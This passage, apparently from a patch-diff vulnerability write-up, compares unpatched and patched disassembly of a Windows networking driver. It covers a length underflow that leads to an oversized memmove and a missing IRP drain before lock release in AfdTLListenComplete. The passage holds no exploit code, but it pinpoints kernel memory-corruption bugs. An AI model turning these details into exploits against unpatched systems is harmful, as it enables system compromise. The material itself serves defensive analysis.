&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007649E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; r8 = 16-bit value from response&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; ecx = r8 + 4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14w&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; eax = options size&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; eax = size - 8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764B3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764B5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jge&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00764BD&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r9&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; r14 = r8 + 4&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00764C6&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFF8h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; r14 = size - 8 in 16 bits -&amp;gt; 0FFFEh/0FFFFh for size 6/7&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764C6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14w&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; Size = underflowed length&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764D6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; dst = mapped output buffer + 8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00764DA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; oversized copy -&amp;gt; buffer overflow&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly&lt;/strong&gt; (same subtract-8 branch, now feature-gated with a &lt;code&gt;&amp;lt; 8&lt;/code&gt; check):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0075457&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;ACh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dil&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; connection byte [conn+0xAC] == 0 ?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007545E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C00754A5&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;g_Feature_1191968056_61054031_FeatureDescriptorDetails&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754AC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754B1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0075512&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; feature OFF -&amp;gt; old subtract-8 path (still underflows)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; options size &amp;lt; 8 ?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C0075502&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; yes -&amp;gt; zero-fill instead of subtracting&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00754BF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;si&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bx&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; size - 8 (safe: size &amp;gt;= 8 here)&lt;/span&gt;
&lt;span class="c1"&gt;; ...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0075502&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;si&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Size = options size (&amp;lt; 8)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0075506&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; Val = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0075508&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; dst&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007550B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; SAFE: zero the small buffer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;Finding 2 — &lt;code&gt;AfdTLListenComplete&lt;/code&gt; Missing IRP Drain Before Lock Release&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched assembly&lt;/strong&gt; (failed-listen branch):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005ABB6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;; completion status&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005ABB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C005AC1B&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; status &amp;lt; 0 -&amp;gt; abort branch&lt;/span&gt;
&lt;span class="c1"&gt;; ...&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; SpinLock (conn+0x30)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC1F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireInStackQueuedSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFCh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;78&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;AAh&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC4C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFBh&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; clear flag 0x4&lt;/span&gt;
&lt;span class="c1"&gt;; *** no drain of the conn+0x70 list ***&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005AC54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseInStackQueuedSpinLock&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched assembly&lt;/strong&gt; (same branch, drain added before lock release):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005990B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; SpinLock (conn+0x30)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005990F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C0059914&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireInStackQueuedSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C005991A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;FFFFFFFCh&lt;/span&gt;
